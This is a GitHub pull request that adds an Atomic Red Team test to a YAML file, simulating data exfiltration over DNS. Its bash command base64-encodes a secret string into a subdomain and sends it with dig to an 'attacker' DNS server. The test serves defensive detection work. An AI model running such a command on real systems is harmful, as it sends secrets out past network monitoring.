Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New Atomic - Exfiltrate Data using DNS Queries via dig #2994

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 31 additions & 0 deletions atomics/T1048/T1048.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -96,3 +96,34 @@ atomic_tests:
Import-Module "#{ps_module}"
Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}
name: powershell
- name: Exfiltrate Data using DNS Queries via dig
description: |
This test demonstrates how an attacker can exfiltrate sensitive information by encoding it as a subdomain (using base64 encoding) and
making DNS queries via the dig command to a controlled DNS server.
supported_platforms:
- macos
- linux
input_arguments:
dns_port:
type: integer
default: '53'
description: Attacker's DNS server port
attacker_dns_server:
type: string
default: 8.8.8.8
description: Attacker's DNS server address
secret_info:
type: string
default: this is a secret info
description: secret info that will be exfiltirated
dependency_executor_name: bash
dependencies:
- description: dig command
prereq_command: which dig
get_prereq_command: |
which apt && sudo apt update && sudo apt install -y bind9-dnsutils || which yum && sudo yum install -y bind-utils || which dnf && sudo dnf install -y bind-utils || which apk && sudo apk add bind-tools || which pkg && sudo pkg update && sudo pkg install -y bind-tools || which brew && brew update && brew install --quiet bind
executor:
command: |
dig @#{attacker_dns_server} -p #{dns_port} $(echo "#{secret_info}" | base64).google.com
name: bash
elevation_required: false